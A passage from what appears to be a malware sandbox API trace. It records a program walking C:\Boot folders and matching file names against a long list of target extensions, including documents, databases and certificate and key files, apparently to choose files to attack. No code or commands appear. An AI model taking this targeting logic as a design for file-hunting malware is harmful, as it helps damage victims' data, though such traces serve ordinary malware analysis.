(lpString1=".cfc", lpString2=".mui") returned -1 [0092.443] lstrlenW (lpString=".cfm") returned 4 [0092.443] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0092.443] lstrlenW (lpString=".cfml") returned 5 [0092.443] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0092.443] lstrlenW (lpString=".cfu") returned 4 [0092.443] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0092.443] lstrlenW (lpString=".chm") returned 4 [0092.443] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0092.443] lstrlenW (lpString=".cin") returned 4 [0092.443] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0092.443] lstrlenW (lpString=".class") returned 6 [0092.443] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0092.443] lstrlenW (lpString=".clx") returned 4 [0092.443] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0092.443] lstrlenW (lpString=".config") returned 7 [0092.443] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0092.443] lstrlenW (lpString=".cpp") returned 4 [0092.443] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0092.443] lstrlenW (lpString=".cr2") returned 4 [0092.444] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0092.444] lstrlenW (lpString=".crt") returned 4 [0092.444] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0092.444] lstrlenW (lpString=".crw") returned 4 [0092.444] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0092.444] lstrlenW (lpString=".cs") returned 3 [0092.444] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0092.444] lstrlenW (lpString=".css") returned 4 [0092.444] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0092.444] lstrlenW (lpString=".csv") returned 4 [0092.444] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0092.444] lstrlenW (lpString=".cub") returned 4 [0092.444] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0092.444] lstrlenW (lpString=".dae") returned 4 [0092.444] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0092.444] lstrlenW (lpString=".dat") returned 4 [0092.444] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0092.444] lstrlenW (lpString=".db") returned 3 [0092.444] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0092.444] lstrlenW (lpString=".dbf") returned 4 [0092.444] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0092.444] lstrlenW (lpString=".dbx") returned 4 [0092.444] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0092.444] lstrlenW (lpString=".dc3") returned 4 [0092.444] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0092.444] lstrlenW (lpString=".dcm") returned 4 [0092.444] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0092.444] lstrlenW (lpString=".dcr") returned 4 [0092.444] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0092.444] lstrlenW (lpString=".der") returned 4 [0092.444] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0092.445] lstrlenW (lpString=".dib") returned 4 [0092.445] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0092.445] lstrlenW (lpString=".dic") returned 4 [0092.445] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0092.445] lstrlenW (lpString=".dif") returned 4 [0092.445] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0092.445] lstrlenW (lpString=".divx") returned 5 [0092.445] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0092.445] lstrlenW (lpString=".djvu") returned 5 [0092.445] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0092.445] lstrlenW (lpString=".dng") returned 4 [0092.445] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0092.445] lstrlenW (lpString=".doc") returned 4 [0092.445] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0092.445] lstrlenW (lpString=".docm") returned 5 [0092.445] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0092.445] lstrlenW (lpString=".docx") returned 5 [0092.445] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0092.445] lstrlenW (lpString=".dot") returned 4 [0092.445] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0092.445] lstrlenW (lpString=".dotm") returned 5 [0092.445] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0092.445] lstrlenW (lpString=".dotx") returned 5 [0092.445] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0092.445] lstrlenW (lpString=".dpx") returned 4 [0092.445] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0092.445] lstrlenW (lpString=".dqy") returned 4 [0092.446] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0092.446] lstrlenW (lpString=".dsn") returned 4 [0092.446] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0092.446] lstrlenW (lpString=".dt") returned 3 [0092.446] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0092.446] lstrlenW (lpString=".dtd") returned 4 [0092.446] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0092.446] lstrlenW (lpString=".dwg") returned 4 [0092.446] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0092.446] lstrlenW (lpString=".dwt") returned 4 [0092.446] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0092.446] lstrlenW (lpString=".dx") returned 3 [0092.446] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0092.446] lstrlenW (lpString=".dxf") returned 4 [0092.446] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0092.446] lstrlenW (lpString=".edml") returned 5 [0092.446] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0092.446] lstrlenW (lpString=".efd") returned 4 [0092.446] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0092.446] lstrlenW (lpString=".elf") returned 4 [0092.446] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0092.446] lstrlenW (lpString=".emf") returned 4 [0092.446] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0092.446] lstrlenW (lpString=".emz") returned 4 [0092.446] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0092.446] lstrlenW (lpString=".epf") returned 4 [0092.446] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0092.446] lstrlenW (lpString=".eps") returned 4 [0092.446] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0092.447] lstrlenW (lpString=".epsf") returned 5 [0092.447] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0092.447] lstrlenW (lpString=".epsp") returned 5 [0092.447] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0092.447] lstrlenW (lpString=".erf") returned 4 [0092.447] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0092.447] lstrlenW (lpString=".exr") returned 4 [0092.447] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0092.447] lstrlenW (lpString=".f4v") returned 4 [0092.447] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0092.447] lstrlenW (lpString=".fido") returned 5 [0092.447] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0092.447] lstrlenW (lpString=".flm") returned 4 [0092.447] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0092.447] lstrlenW (lpString=".flv") returned 4 [0092.447] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0092.447] lstrlenW (lpString=".frm") returned 4 [0092.447] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0092.447] lstrlenW (lpString=".fxg") returned 4 [0092.447] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0092.447] lstrlenW (lpString=".geo") returned 4 [0092.447] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0092.447] lstrlenW (lpString=".gif") returned 4 [0092.447] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0092.447] lstrlenW (lpString=".grs") returned 4 [0092.447] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0092.447] lstrlenW (lpString=".gz") returned 3 [0092.447] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0092.447] lstrlenW (lpString=".h") returned 2 [0092.447] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0092.447] lstrlenW (lpString=".hdr") returned 4 [0092.447] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0092.447] lstrlenW (lpString=".hpp") returned 4 [0092.448] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0092.448] lstrlenW (lpString=".hta") returned 4 [0092.448] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0092.448] lstrlenW (lpString=".htc") returned 4 [0092.448] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0092.448] lstrlenW (lpString=".htm") returned 4 [0092.448] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0092.448] lstrlenW (lpString=".html") returned 5 [0092.448] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0092.448] lstrlenW (lpString=".icb") returned 4 [0092.448] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0092.448] lstrlenW (lpString=".ics") returned 4 [0092.448] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0092.448] lstrlenW (lpString=".iff") returned 4 [0092.448] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0092.448] lstrlenW (lpString=".inc") returned 4 [0092.448] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0092.448] lstrlenW (lpString=".indd") returned 5 [0092.448] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0092.448] lstrlenW (lpString=".ini") returned 4 [0092.448] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0092.448] lstrlenW (lpString=".iqy") returned 4 [0092.448] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0092.448] lstrlenW (lpString=".j2c") returned 4 [0092.448] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0092.448] lstrlenW (lpString=".j2k") returned 4 [0092.448] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0092.448] lstrlenW (lpString=".java") returned 5 [0092.448] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0092.448] lstrlenW (lpString=".jp2") returned 4 [0092.448] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0092.448] lstrlenW (lpString=".jpc") returned 4 [0092.448] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0092.448] lstrlenW (lpString=".jpe") returned 4 [0092.448] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0092.449] lstrlenW (lpString=".jpeg") returned 5 [0092.449] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0092.449] lstrlenW (lpString=".jpf") returned 4 [0092.449] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0092.449] lstrlenW (lpString=".jpg") returned 4 [0092.449] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0092.449] lstrlenW (lpString=".jpx") returned 4 [0092.449] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0092.449] lstrlenW (lpString=".js") returned 3 [0092.449] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0092.449] lstrlenW (lpString=".jsf") returned 4 [0092.449] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0092.449] lstrlenW (lpString=".json") returned 5 [0092.449] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0092.449] lstrlenW (lpString=".jsp") returned 4 [0092.449] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0092.449] lstrlenW (lpString=".kdc") returned 4 [0092.449] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0092.449] lstrlenW (lpString=".kmz") returned 4 [0092.449] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0092.449] lstrlenW (lpString=".kwm") returned 4 [0092.449] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0092.449] lstrlenW (lpString=".lasso") returned 6 [0092.449] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0092.449] lstrlenW (lpString=".lbi") returned 4 [0092.449] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0092.449] lstrlenW (lpString=".lgf") returned 4 [0092.449] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0092.449] lstrlenW (lpString=".lgp") returned 4 [0092.449] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0092.449] lstrlenW (lpString=".log") returned 4 [0092.449] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0092.449] lstrlenW (lpString=".m1v") returned 4 [0092.450] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0092.450] lstrlenW (lpString=".m4a") returned 4 [0092.450] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0092.450] lstrlenW (lpString=".m4v") returned 4 [0092.450] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0092.450] lstrlenW (lpString=".max") returned 4 [0092.450] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0092.450] lstrlenW (lpString=".md") returned 3 [0092.450] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0092.450] lstrlenW (lpString=".mda") returned 4 [0092.450] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0092.450] lstrlenW (lpString=".mdb") returned 4 [0092.450] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0092.450] lstrlenW (lpString=".mde") returned 4 [0092.450] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0092.450] lstrlenW (lpString=".mdf") returned 4 [0092.450] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0092.450] lstrlenW (lpString=".mdw") returned 4 [0092.450] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0092.450] lstrlenW (lpString=".mef") returned 4 [0092.450] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0092.450] lstrlenW (lpString=".mft") returned 4 [0092.450] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0092.450] lstrlenW (lpString=".mfw") returned 4 [0092.450] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0092.450] lstrlenW (lpString=".mht") returned 4 [0092.450] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0092.450] lstrlenW (lpString=".mhtml") returned 6 [0092.450] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0092.450] lstrlenW (lpString=".mka") returned 4 [0092.450] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0092.450] lstrlenW (lpString=".mkidx") returned 6 [0092.451] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0092.451] lstrlenW (lpString=".mkv") returned 4 [0092.451] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0092.451] lstrlenW (lpString=".mos") returned 4 [0092.451] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0092.451] lstrlenW (lpString=".mov") returned 4 [0092.451] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0092.451] lstrlenW (lpString=".mp3") returned 4 [0092.451] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0092.451] lstrlenW (lpString=".mp4") returned 4 [0092.451] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0092.451] lstrlenW (lpString=".mpeg") returned 5 [0092.451] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0092.451] lstrlenW (lpString=".mpg") returned 4 [0092.451] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0092.451] lstrlenW (lpString=".mpv") returned 4 [0092.451] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0092.451] lstrlenW (lpString=".mrw") returned 4 [0092.451] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0092.451] lstrlenW (lpString=".msg") returned 4 [0092.451] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0092.451] lstrlenW (lpString=".mxl") returned 4 [0092.451] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0092.451] lstrlenW (lpString=".myd") returned 4 [0092.451] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0092.451] lstrlenW (lpString=".myi") returned 4 [0092.451] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0092.451] lstrlenW (lpString=".nef") returned 4 [0092.451] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0092.451] lstrlenW (lpString=".nrw") returned 4 [0092.451] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0092.451] lstrlenW (lpString=".obj") returned 4 [0092.451] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0092.451] lstrlenW (lpString=".odb") returned 4 [0092.451] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0092.451] lstrlenW (lpString=".odc") returned 4 [0092.451] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0092.452] lstrlenW (lpString=".odm") returned 4 [0092.452] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0092.452] lstrlenW (lpString=".odp") returned 4 [0092.452] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0092.452] lstrlenW (lpString=".ods") returned 4 [0092.452] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0092.452] lstrlenW (lpString=".oft") returned 4 [0092.452] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0092.452] lstrlenW (lpString=".one") returned 4 [0092.452] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0092.452] lstrlenW (lpString=".onepkg") returned 7 [0092.452] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0092.452] lstrlenW (lpString=".onetoc2") returned 8 [0092.452] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0092.452] lstrlenW (lpString=".opt") returned 4 [0092.452] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0092.452] lstrlenW (lpString=".oqy") returned 4 [0092.452] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0092.452] lstrlenW (lpString=".orf") returned 4 [0092.452] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0092.452] lstrlenW (lpString=".p12") returned 4 [0092.452] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0092.452] lstrlenW (lpString=".p7b") returned 4 [0092.452] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0092.452] lstrlenW (lpString=".p7c") returned 4 [0092.452] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0092.452] lstrlenW (lpString=".pam") returned 4 [0092.452] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0092.452] lstrlenW (lpString=".pbm") returned 4 [0092.452] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0092.452] lstrlenW (lpString=".pct") returned 4 [0092.452] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0092.452] lstrlenW (lpString=".pcx") returned 4 [0092.452] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0092.452] lstrlenW (lpString=".pdd") returned 4 [0092.452] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0092.453] lstrlenW (lpString=".pdf") returned 4 [0092.453] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0092.453] lstrlenW (lpString=".pdp") returned 4 [0092.453] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0092.453] lstrlenW (lpString=".pef") returned 4 [0092.453] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0092.453] lstrlenW (lpString=".pem") returned 4 [0092.453] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0092.453] lstrlenW (lpString=".pff") returned 4 [0092.453] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0092.453] lstrlenW (lpString=".pfm") returned 4 [0092.453] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0092.453] lstrlenW (lpString=".pfx") returned 4 [0092.453] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0092.453] lstrlenW (lpString=".pgm") returned 4 [0092.453] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0092.453] lstrlenW (lpString=".php") returned 4 [0092.453] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0092.453] lstrlenW (lpString=".php3") returned 5 [0092.453] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0092.814] lstrlenW (lpString=".php4") returned 5 [0092.814] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0092.814] lstrlenW (lpString=".php5") returned 5 [0092.814] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0092.814] lstrlenW (lpString=".phtml") returned 6 [0092.814] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0092.814] lstrlenW (lpString=".pict") returned 5 [0092.814] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0092.814] lstrlenW (lpString=".pl") returned 3 [0092.814] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0092.814] lstrlenW (lpString=".pls") returned 4 [0092.814] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0092.814] lstrlenW (lpString=".pm") returned 3 [0092.814] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0092.814] lstrlenW (lpString=".png") returned 4 [0092.814] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0092.815] lstrlenW (lpString=".pnm") returned 4 [0092.815] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0092.815] lstrlenW (lpString=".pot") returned 4 [0092.815] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0092.815] lstrlenW (lpString=".potm") returned 5 [0092.815] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0092.815] lstrlenW (lpString=".potx") returned 5 [0092.815] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0092.815] lstrlenW (lpString=".ppa") returned 4 [0092.815] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0092.815] lstrlenW (lpString=".ppam") returned 5 [0092.815] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0092.815] lstrlenW (lpString=".ppm") returned 4 [0092.815] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0092.815] lstrlenW (lpString=".pps") returned 4 [0092.815] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0092.815] lstrlenW (lpString=".ppsm") returned 5 [0092.815] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0092.815] lstrlenW (lpString=".ppt") returned 4 [0092.815] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0092.815] lstrlenW (lpString=".pptm") returned 5 [0092.815] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0092.815] lstrlenW (lpString=".pptx") returned 5 [0092.815] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0092.815] lstrlenW (lpString=".prn") returned 4 [0092.815] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0092.815] lstrlenW (lpString=".ps") returned 3 [0092.816] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0092.816] lstrlenW (lpString=".psb") returned 4 [0092.816] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0092.816] lstrlenW (lpString=".psd") returned 4 [0092.816] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0092.816] lstrlenW (lpString=".pst") returned 4 [0092.816] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0092.816] lstrlenW (lpString=".ptx") returned 4 [0092.816] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0092.816] lstrlenW (lpString=".pub") returned 4 [0092.816] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0092.816] lstrlenW (lpString=".pwm") returned 4 [0092.816] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0092.816] lstrlenW (lpString=".pxr") returned 4 [0092.816] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0092.816] lstrlenW (lpString=".py") returned 3 [0092.816] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0092.816] lstrlenW (lpString=".qt") returned 3 [0092.816] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0092.816] lstrlenW (lpString=".r3d") returned 4 [0092.816] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0092.816] lstrlenW (lpString=".raf") returned 4 [0092.816] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0092.816] lstrlenW (lpString=".rar") returned 4 [0092.816] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0092.817] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0092.817] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0092.817] FindClose (in: hFindFile=0x4260410 | out: hFindFile=0x4260410) returned 1 [0092.817] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0092.817] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0092.817] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4273e70 [0092.817] lstrlenW (lpString="C:\\Boot\\ja-JP") returned 13 [0092.817] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260310 [0092.818] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.818] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, 